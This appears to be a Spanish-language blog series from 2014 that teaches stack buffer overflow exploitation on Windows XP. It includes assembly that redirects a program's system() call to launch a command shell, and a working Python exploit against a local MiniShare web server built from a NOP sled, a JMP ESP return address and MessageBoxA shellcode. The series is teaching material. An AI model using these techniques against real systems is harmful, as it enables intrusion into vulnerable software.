jueves, 20 de marzo de 2014

Un pequeño desafío - La solución (I)

En el post expliqué como realizar un exploit sobre un simple programa. Una vez resuelto mandé la respuesta a @brutelogic


Pues no ponemos manos a la obra.

En el post anterior ya anticipaba:
Ahora deberíamos de intentar sacar partido de esta vulnerabilidad.
Una vía para conseguirlo es sobreescribir el texto "clear" que es usado en la invocación a la funcion system y sustituirlo por otro valor. Por ejemplo: cmd.exe

Esto es más fácil de decir que de realizar, aunque tampoco es demasiado difícil hacerlo. La lógica del exploit será:
  • Poner en la pila el comando que deseamos ejecutar
  • Devolver control al programa cuando va a llamar a la función system
Que codificado en ensamblador queda así.


call ubica1
ubica1:
pop ebx
mov eax, ebx
add eax, shelloff
push eax
mov eax,0040108fh ; Dirección de la llamada a la función system
jmp eax
nop
shelloff equ $-ubica1
shell db 'start cmd'
shelllenght equ $-shell


Las sentencias son sencillas aunque vamos a analizarlas un poco pues si no se tiene experiencia en la codificación de este tipo de código hay cosas que puede parecer extrañas.
Y lo extraño está en la primera sentencia: se realiza una llamada (call) a la instrucción siguiente. ¿Que sentido tiene esto?.
Una característica que tienen los programas compilados y linkeditados es que todas las direcciones tanto internas como externas están resueltas y funcionamos en base a los desplazamientos respecto a esas direcciones que se corresponden con los distintos segmentos: datos inicializados, datos sin inicializar, segmento de código y referencias a otros módulos.
Pero al entrar desde una shell estamos en terreno desconocido y lo primero que hay que hacer es conocer la dirección en la que estamos cargados.
Repasemos lo que hace la instrucción call:


  • Carga la dirección siguiente a la call en la pila
  • Transfiere el control a la dirección indicada en su parámetro.

Según esta lógica lo que estamos haciendo con call siguienteinstrucción es cargar en la pila la dirección se la siguiente instrucción y ceder control a la siguiente instrucción. Luego extraemos el primer elemento de la pila y ya tenemos cargada la ubicación del programa que estamos realizando:

call ubica1
ubica1:
pop ebx

El siguiente paso es llevar a la pila el comando que deseamos cargar que será arrancar una shell de comandos. (podemos arrancar cualquier otro programa si es lo que deseamos hacer).
Aunque estamos ubicados (Registro EBX en este caso) seguimos sin poder dirigirnos a las zonas de memoria por su etiqueta pero podemos calcular el desplazamiento del texto que queremos introducir. Solo tenemos que sumar al registro EBX que contiene la dirección de la etiqueta ubica1 el desplazamiento con respecto a dicha etiqueta

mov eax, ebx
add eax, shelloff ; desplazamiento del texto
push eax

Sólo nos queda pues ceder el control nuevamente al programa inicial justo en la instrucción que va a llamar a la función system. (Ya tenemos cargado en la pila el comando que deseamos ejecutar).







mov eax,00401076h                    ; Dirección de la llamada a la función system
jmp eax

Esto en teoría debería bastar para aún es necesario hacer algunos ajustes más que veremos en el próximo post.


miércoles, 12 de marzo de 2014

Un pequeño desafío

Pensaba dejar de escribir por un tiempo sobre desbordamiento de buffer por no ser cansino y dar un poco más de variedad a este blog.
Pero me ha llegado desde la cuenta de twitter de @brutelogic un interesante desafío.




Explotar un posible desbordamiento de buffer en un programa con tan pocas líneas. Parece que estas vulnerabilidades no son específicas de grandes y complejos programas. El diablo acecha en los más pequeños detalles.

Me sentí tentado a aceptar el reto y me puse la primera tarde que tuve un rato a estudiar esta vulnerabilidad. Compilé el programa y lo cargué con ollydbg (según el compilador de C que se esté usando la salida la salida puede ser distinta).
Tan pocas líneas de código... tan fácil de localizar  los punton de interrupción.
Coloquemos un punto de interrupción despúes de la función scanf y ejecutemos el programa.

La primera vez introducimos los siguientes datos: 1234 y la pila tiene estos valores:






Lo copiamos al portapapeles y lo guardamos con fichero de texto.




Repetimos la operación, esta vez con el valor 12345678 lo copiamos y guardamos otro fichero.


Con una pequeña manipulación cargamos cada resultado en una hoja excel que nos será muy util para comparar los resultados. Veamos los contenidos de ls pilas en ambas ejecuciones:



La parte superior de la pila (aunque en numeración corresponde a las direcciones más bajas) es igual en ambos lados (amarillo). A continuación viene el área donde se carga la cadena de caracteres. Vemos como al aumentar el número de caracteres estos van ocupando posiciones hacia abajo en la pila.
Un poquito más abajo encontramos un valor que tiene bastante pinta de ser la dirección de retorno usada por la instrucción RET un poco más adelante en el programa.



Ponemos otro punto de interrupción en esta instrucción y volvemos a ejecutar el programa. Esta introducimos la siguiente cadena: 123456789123456789
Ejecutamos hasta la instruccion RET  y analicemos la salida.



El primerar valor de la pila es 38373635. Este valor será el que la instruccion RET llevará al EIP. Y que se corresponde con la cadena ASCII 5678
Deberemos colocar en esa posición el valor que realmente deseamos que vaya al  EIP y habremos secuestrado el programa.


Al tratarse de una prueba de concepto no vamos a complicarnos demasiado. Llevaré el control a la instrucción: 00401052.

Justo antes de printf, así que tendremos una prueba visual de que hemos alterado el flujo de programa.


Debemos de introducir los siguientes datos: 1234567891234

Y a continuación el valor hexadecimal correspondiente a la dirección  deseada Para ello usaremos el teclado numérico e introduciremos estos valores en decimas. Antes de introducir cada valor deberemos mantener pulsada la tecla Alt y una vez introducido cada valor deberemos soltarla. Así:


{Alt}136   {Alt}255   {Alt}18   {Alt}00

Y ahí lo tenemos la proxima instrucción a ejecutar es la deseada, ejecutamos paso a paso (F7)  seguimos y nos vuelve a aparecer el mensaje


Esto demuestra que hemos sido capaces del alterar el flujo del programa.

Últimas observaciones. 


Todavía quedamos lejos de tener finalizado el exploit. Ahora deberíamos de intentar sacar partido de esta vulnerabilidad.
Una vía para conseguirlo es sobreescribir el texto "clear" que es usado en la invocación a la funcion system y sustituirlo por otro valor. Por ejemplo: cmd.exe



Pero esto ya requiere un poco más de paciencia  y se sale del objetivo de este breve post. 


domingo, 2 de marzo de 2014

Buffer overflow a fondo (y III) - Inyectando código

En el anterior post ya fuimos capaces de cargar el EIP con el valor que deseamos y que será la dirección de inicio del código que inyectaremos.
La creación no es tarea trivial, requiere conocimientos de programación en lenguajes de bajo nivel y comprender muy bien toda la estructura de bibliotecas y bloques de control del sistema operativo para el que estamos desarrollando la shell code.

Nos limitaremos a cargar una shell code existente. Iremos a esta página:  http://www.exploit-db.com/ y nos situaremos en la página de búsqueda. Indicamos que queremos buscar:

Seleccionaremos esta Shell

2010-08-20 Exploit Code Downloads - Verified Windows XP SP3 English MessageBoxA Shellcode - 87 bytes 11042 windows Glafkos Charalamb.

Es una shell pequeña e inofensiva. Lo que hace es mostrar en pantalla un cuadro de diálogo. Pero es un buen ejemplo para practicar.

Nos descargamos y editamos el fichero que es un programa en C.
No dice que está probado en: Windows XP SP3 Eng
El nuestro estará en español, luego podemos tener algún problema de funcionamiento. Además se trata de una shell bastante antigua, si hemos tenido nuestro sistema actualizado también podemos tener alguna incompatibilidad.

A nosotros nos interesa realmente la shello code, el bloque de datos definido así:

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6c\x6c\x20\x20\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" // 0x7c801d7b ; LoadLibraryA(user32.dll)
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80" // 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0";    // 0x7c81cb12 ; ExitProcess(0)

Llevamos esta parte de código a nuestro escript python y lo colacamos inmediatamente después de la dirección que de desbordamiento que localizamos en el post anterior, queda así:

#-------------------------------------------------------------------------------
# Name:        module1
#!/usr/bin/python
import socket

target_addr="127.0.0.1"
target_port=80
target_pag="/Bienvenida.htm"
getbuff = "GET "


# Nuestra ShellCode

getbuff+= "\x90" * 1787
#getbuff+= "\x53\x93\x42\x7E"    # Direccion encontrada 7E429353 user32
getbuff+= "\x87\xA7\xA7\x7C"    # Direccion encontrada 7CA7A787 shell32
getbuff+= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
getbuff+= "\x51\x68\x6c\x6c\x20\x20\x68\x33"
getbuff+= "\x32\x2e\x64\x68\x75\x73\x65\x72"
getbuff+= "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51"    # 0x7c801d7b ; LoadLibraryA(user32.dll)
getbuff+= "\xff\xd3\xb9\x5e\x67\x30\xef\x81"
getbuff+= "\xc1\x11\x11\x11\x11\x51\x68\x61"
getbuff+= "\x67\x65\x42\x68\x4d\x65\x73\x73"
getbuff+= "\x89\xe1\x51\x50\xbb\x40\xae\x80"    #0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
getbuff+= "\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
getbuff+= "\x51\x51\x52\xff\xd0\x31\xc0\x50"
getbuff+= "\xb8\x12\xcb\x81\x7c\xff\xd0"        #0x7c81cb12 ; ExitProcess(0)

# ---------------------------------------------------------------------
getbuff+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_addr,target_port))
sock.send(getbuff)
sock.close()

Como he dicho antes, esta shell es inofensiva y la he probado antes así que vamos a saltar etapas. Arrancamos el programa minishare.exe y ejecutamos el script que contiene la shell.

Parece que funciona pues vemos como aparece el cuadro de diálogo. Damos al botón y.... algo no va todo lo bien que debía de ir pues el programa finaliza de forma anormal.

Vamos a ver que ha pasado ahora. Abrimos Ollydbg y arrancamos el minishare. Ponemos un breakpoint en la dirección que ya localizamos en el anterior post.

Volvemos a mandar el buffer maligno y el programa se para en el breakpoint. Damos a ejecutar paso a paso sin entrar en procedimientos (f8). El control del EIP para a nuestra shell, seguimos dando has que aparece el cuadro de diálogo. Respondemos y seguimos hasta llegar la instrucción xxxxxxx, respiramos y volvemos a dar F8. ¡¡¡Zas, finalización anormal!!!

El resultado casi era de esperar pues ya habíamos visto que la shell finalizaba anormalmente despues de responder al cuadro de diálogo. El programador de la shell nos ha prestado una ayuda inestimable con los comentarios.

Vamos a ver el manda de funciones con Ollydbg. Verificamos que las direcciones las funciones LoadLibraryA y GetProcAddress coinciden con las que vienen en la shell. No es así con la funcion ExitProcess que tiene está en la direccion: 0x7c81D20A

Cambiamos, en el programa python la última línea y la dejamos así:

getbuff+= "\xb8\x0a\xd2\x81\x7c\xff\xd0"        #0x7c81D20A ; ExitProcess(0)

Rearrancamos minishare.exe y lanzamos el buffer. Nuevamente llegamos al cuadro de diálogo, le damos a aceptar y ahora vemos como el programa cierra de forma normal.

Recapitulando. 

En estos tres posts he intentado explicar como explotar un desbordamiento de buffer desde cero y que se puede resumir en lo siguiente:

  • Existencia de la vulnerabilidad. Mediante el envío de cadenas los suficientemente largas. 
  • Localización del offset de la cadena que sobreescribe el EIP
  • Localización de la instrucción JMP ESP que necesitamos para transferir el control al código que inyectaremos.
  • Poner esa instrucción en el offset del buffer que sobeescribirá el EIP
  • Colocar a continuación la shell que queremos inyectar. 

Otros  conceptos que deberíamos de sacar claros de estos tres hilos son los de vulnerabilidad, explotación (exploit) y payload.

Vulnarabilidad es un error en un programa que puede llegar a comprometer la seguridad de ese programa o, incluso, del sistema donde se está ejecutando el programa vulnerable.
Cuando se ha desarrollado un exploit que permite usar esa vulnerabilidad para nuestros intereses se dice que esa vulnerabilidad es explotable y se llama exploit al elemento que nos permite explotarla.
El exploit, por sí, solo nos abre la puerta que nos permite introducir el payload que es quien nos permitirá comprometer el sistema vulnerable en nuestro beneficio.
En nuestro caso el exploit sería el programa python y la shellcode que hemos introducido sería el payload.

Buffer Overflow a fondo (II) Sobreescribiendo el EIP